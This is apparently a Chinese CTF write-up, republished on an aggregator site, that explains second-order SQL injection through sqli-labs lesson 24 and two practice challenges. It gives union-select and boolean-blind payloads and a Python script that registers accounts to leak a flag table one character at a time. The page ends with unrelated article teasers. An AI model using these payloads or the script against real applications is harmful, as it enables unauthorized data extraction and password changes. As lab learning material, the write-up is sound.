二次SQL注入

news2025/3/10 22:52:04

原理

用户向数据库存入恶意数据,当数据被送进数据库的时候,会对存入的信息进行转义然后再储存,但是存进去的数据会再次被转义回来(也就是原样不变的存进数据库里,只是害怕攻击者在存入数据的时候捣蛋而已),一般默认数据库里的数据都是安全的,所以当用户再次访问时,要从数据库里拿出数据来,这时候就不会再进行转义处理,此时会引起SQL注入

用基本例题来说明原理

以sql靶场的lesson24为例:

先注册一个账号 admin'# 密码随便,这时候因为经过转义,没有造成SQL注入

点击更新密码,更新username为 admin'# 的密码

在更新密码的php中有:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";

 传入username=admin'#后:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='admin'#' and password='$ curr_pass' ";

此时执行的就是:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='admin'

修改的不是admin'#的密码而是admin的

也就是说我们没输入admin当前的密码就直接把admin的密码给改了

BUU October 2019 Twice SQL Injection 1

有个登录界面也有个注册界面,登进去以后有个Info上传功能

 

一开始想从Info入手,先上传上去SQL注入语句,这是上传的过程,然后logout,再登录进去加载Info,就是从数据库中取出数据的过程,然后执行SQL语句,但是一直没成功...

然后看了看wp才知道,原来是在register和login之间玩的啊,考。。。

 先register用户名是恶意语句的账号,这时候就存进去数据库了,然后再login这个账号,此时会从数据库里掏出来这个恶意语句,然后执行SQL命令

register:username=1' union select database() #(末尾有没有 ; 都一样)

 register:username=1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# 

奇了老鼻子怪了,登进去就是啥也没有

跟答案一比较,感觉一模一样啊,为啥不对,然后dp:

出错的原因在于普通空格被当成分隔符,但是全角空格会被当成正常的字符,把它当成任意非空字符看,这时候就会出现单引号闭合不了的问题,产生报错        

              好好好这么玩是吧

剩下的内容就是常规SQL注入了

[网鼎杯 2018]unfinish

花了一张蓝色毛爷爷做的题,疼死我了

打开以后只有登录界面

登录界面怎么可能没有注册界面呢,尝试一下register.php

先注册一个账号,发现是在用户名处回显内容

然后再从用户名里面搞事情,但是我注册了几个诸如 1' union select database() #都登录不进去,好像是被过滤了,我所有招数都被他过滤了呜呜呜

网上看的,利用布尔盲注

全新写法,逐字符泄露database的名字

0'+ascii(substr((select database()) from 1 for 1))+'0

username='0' + [表达式] + '0' ,也就是说在username中会回显出每一个字符的ascii码

感觉这个脚本写的还挺好的,反正我写不出来 

#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time


url = 'http://node4.anna.nssctf.cn:28137/'

m = ''
for i in range(100):
    #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    #print(html)
    soup = BeautifulSoup(html,'html.parser')
    #print(soup.prettify())
    UserName = soup.span.string
    print(UserName)
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2312918.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【贪心算法】将数组和减半的最小操作数

1.题目解析 2208. 将数组和减半的最少操作次数 - 力扣(LeetCode) 2.讲解算法原理 使用当前数组中最大的数将它减半,,直到数组和减小到一半为止,从而快速达到目的 重点是找到最大数,可以采用大根堆快速达到…

Dify部署踩坑指南(Windows+Mac)

组件说明 Dify踩坑及解决方案 ⚠️ 除了修改镜像版本,nginx端口不要直接修改docker-compose.yaml !!!!!!! 1、更换镜像版本 这个文件是由.env自动生成的,在.env配置 …

你为什么要写博客?

契机:最近CSDN系统给我发了一条私信,说我成为博主已经四年了,写一篇博客纪念可以得一枚纪念勋章,遂有此文。 机缘 最开始的这篇博客,是为了公司内部的一次分享会准备的,完全是YY出来的,现在看…

【VUE2】第三期——样式冲突、组件通信、异步更新、自定义指令、插槽

目录 1 scoped解决样式冲突 2 data写法 3 组件通信 3.1 父子关系 3.1.1 父向子传值 props 3.1.2 子向父传值 $emit 3.2 非父子关系 3.2.1 event bus 事件总线 3.2.2 跨层级共享数据 provide&inject 4 props 4.1 介绍 4.2 props校验完整写法 5 v-model原理 …

P8685 [蓝桥杯 2019 省 A] 外卖店优先级--优先队列“数组”!!!!!

P8685 [蓝桥杯 2019 省 A] 外卖店优先级 题目 解析优先队列如何判断是否使用优先队列?省略规则优先队列常用操作大顶堆 vs 小顶堆定义队列h队列数组 代码 题目 解析 每个外卖店会在不同的时间点收到订单,我们可以看见测试用例的时间顺序是不同的&#x…

VsCode + EIDE + OpenOCD + STM32(野火DAP) 开发环境配置

VsCode EIDE OpenOCD STM32(野火DAP) 开发环境配置 接受了新时代编辑器的我,实在受不了Keil的上古编辑页面,周树人说过:由奢入俭难,下面我们一起折腾一下开源软件Vscode, 用以开发51和STM32,有错误之处&…

JVM类加载器面试题及原理

JVM只会运行二进制文件,类加载器的作用就是将字节码文件加载到JVM中,从而让Java程序能够启动起来。 1. 类加载器的种类 启动类加载器(BootStrap ClassLoader):加载JAVA_HOME/jre/lib目录下的库扩展类加载器&#xff…

tomcat的安装与配置(包含在idea中配置tomcat)

Tomcat 是由 Apache 软件基金会开发的开源 Java Web 应用服务器,主要用于运行 Servlet 和 JSP(JavaServer Pages)程序。它属于轻量级应用服务器,适用于中小型系统及开发调试场景,尤其在处理动态内容(如 Jav…

读书报告」网络安全防御实战--蓝军武器库

一眨眼,20天过去了,刷完了这本书「网络安全防御实战--蓝军武器库」,回味无穷,整理概览如下,可共同交流读书心得。在阅读本书的过程中,我深刻感受到网络安全防御是一个综合性、复杂性极高的领域。蓝军需要掌…

【芯片验证】verificationguide上的36道UVM面试题

跟上一篇一样,verificationguide上的36到UVM面试题,通义回答ds判卷。 1. What is uvm_transaction, uvm_seq_item, uvm_object, uvm_component? uvm_transaction、uvm_seq_item、uvm_object、uvm_component是什么? uvm_transaction是UVM中所有事务的基础类,用于表示仿真…

基于深度文档理解的开源 RAG 引擎RAGFlow的介绍和安装

目录 前言1. RAGFlow 简介1.1 什么是 RAGFlow?1.2 RAGFlow 的核心特点 2. RAGFlow 的安装与配置2.1 硬件与软件要求2.2 下载 RAGFlow 源码2.3 源码编译 Docker 镜像2.4 设置完整版(包含 embedding 模型)2.5 运行 RAGFlow 3. RAGFlow 的应用场…

用Deepseek写一个五子棋微信小程序

在当今快节奏的生活中,休闲小游戏成为了许多人放松心情的好选择。五子棋作为一款经典的策略游戏,不仅规则简单,还能锻炼思维。最近,我借助 DeepSeek 的帮助,开发了一款五子棋微信小程序。在这篇文章中,我将…

MWC 2025 | 紫光展锐与中国联通联合发布5G eSIM 平板

2025 年 3 月 3 日至 6 日,在全球移动通信行业的年度盛会 —— 世界移动通信大会(MWC 2025)上,紫光展锐联合中国联通重磅发布了支持eSIM的5G平板VN300E。 该产品采用紫光展锐T9100高性能5G SoC芯片平台,内置8 TOPS算力…

操作系统控制台-健康守护我们的系统

引言基本准备体验功能健康守护系统诊断 收获提升结语 引言 阿里云操作系统控制平台作为新一代云端服务器中枢平台,通过创新交互模式重构主机管理体验。操作系统控制台提供了一系列管理功能,包括运维监控、智能助手、扩展插件管理以及订阅服务等。用户可以…

FreeRTOS任务状态查询

一.任务相关API vTaskList(),创建一个表格描述每个任务的详细信息 char biaoge[1000]; //定义一个缓存 vTaskList(biaoge); //将表格存到这缓存中 printf("%s /r/n",biaoge); 1.uxTaskPriorityGet(&#xf…

blender学习25.3.6

【02-基础篇】Blender小凳子之凳面及凳脚的创作_哔哩哔哩_bilibili 【03-基础篇】Blender小凳子之其他细节调整优化_哔哩哔哩_bilibili 这篇文章写的全,不用自己写了 Blender 学习笔记(一)快捷键记录_blender4.1快捷键-CSDN博客 shifta&a…

RabbitMQ 2025/3/5

高性能异步通信组件。 同步调用 以支付为例: 可见容易发生雪崩。 异步调用 以支付为例: 支付服务当甩手掌柜了,不管后面的几个服务的结果。只管库库发,后面那几个服务想取的时候就取,因为消息代理里可以一直装&#x…

JSP+Servlet实现对数据库增删改查功能

前提概要 需要理解的重要概念 ​MVC模式: Model(person类):数据模型View(JSP):显示界面Controller(Servlet):处理业务逻辑 ​请求流程: 浏览器 …

C++【类和对象】

类和对象 1.this 指针2.类的默认成员函数3.构造函数4.析构函数5.拷贝构造函数 1.this 指针 接上文 this指针存在内存的栈区域。 2.类的默认成员函数 定义:编译器自动生成的成员函数。一个类,我们不写的情况下会默认生成六个成员函数。 3.构造函数 函…

GStreamer —— 2.13、Windows下Qt加载GStreamer库后运行 - “教程13:播放控制“(附:完整源码)

运行效果(音频) 简介 上一个教程演示了GStreamer工具。本教程介绍视频播放控制。快进、反向播放和慢动作都是技术 统称为 Trick Modes,它们都有一个共同点 修改 Normal playback rate。本教程介绍如何实现 这些效果并在交易中添加了帧步进。特别是,它 显…